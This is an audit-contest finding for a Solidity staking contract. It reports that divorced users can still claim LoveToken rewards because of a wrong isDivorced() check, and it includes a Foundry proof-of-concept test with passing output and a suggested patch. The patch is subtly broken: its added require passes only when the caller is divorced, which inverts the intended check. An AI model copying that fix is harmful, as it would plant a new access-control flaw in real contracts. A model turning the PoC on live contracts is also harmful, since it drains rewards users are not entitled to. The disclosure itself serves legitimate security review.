Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`Staking.claimRewards()` does not checked divorce status in `Staking.claimRewards()`

Vulnerability Details

Wrong check for divorce status in Staking.claimRewards() lead to possibility to collect LoveToken even if the user is divorced.

##POC
Add this test to StakingTest.t.sol and run via forge test --mt test_ClaimRewardsAfterDivorce to see it success.

function test_ClaimRewardsAfterDivorce() public {
uint balancePerSoulmates = 5 ether;
uint weekOfStaking = 5;
_depositTokenToStake(balancePerSoulmates);
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
vm.prank(soulmate1);
soulmateContract.getDivorced();
vm.prank(soulmate1);
stakingContract.claimRewards();
assertTrue(
loveToken.balanceOf(soulmate1) ==
weekOfStaking * balancePerSoulmates
);
vm.prank(soulmate1);
stakingContract.withdraw(balancePerSoulmates);
assertTrue(
loveToken.balanceOf(soulmate1) ==
weekOfStaking * balancePerSoulmates + balancePerSoulmates
);
}

Output:

Running 1 test for test/unit/StakingTest.t.sol:StakingTest
[PASS] test_ClaimRewardsAfterDivorce() (gas: 495726)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.58ms

Tools Used

Manual review, foundry.

Recommendations

Make the following changes in Solmate.isDivorced()
https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Soulmate.sol#L131C1-L133C6

- function isDivorced() public view returns (bool) {
+ function isDivorced(address soulmate) public view returns (bool) {
- return divorced[msg.sender];
+ return divorced[soulmate];
}

Make the following changes in ISoulmate
https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/interface/ISoulmate.sol#L28

interface ISoulmate {
...
- function isDivorced() external view returns (bool);
+ function isDivorced(address soulmate) external view returns (bool);
...
}

Make the following changes in Staking.claimRewards()

https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Staking.sol#L70C1-L99C6

function claimRewards() public {
+ require(soulmateContract.isDivorced(msg.sender));
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);
if (timeInWeeksSinceLastClaim < 1)
revert Staking__StakingPeriodTooShort();
lastClaim[msg.sender] = block.timestamp;
// Send the same amount of LoveToken as the week waited times the number of token staked
uint256 amountToClaim = userStakes[msg.sender] *
timeInWeeksSinceLastClaim;
loveToken.transferFrom(
address(stakingVault),
msg.sender,
amountToClaim
);
emit RewardsClaimed(msg.sender, amountToClaim);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-isDivorced-wrong-check

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.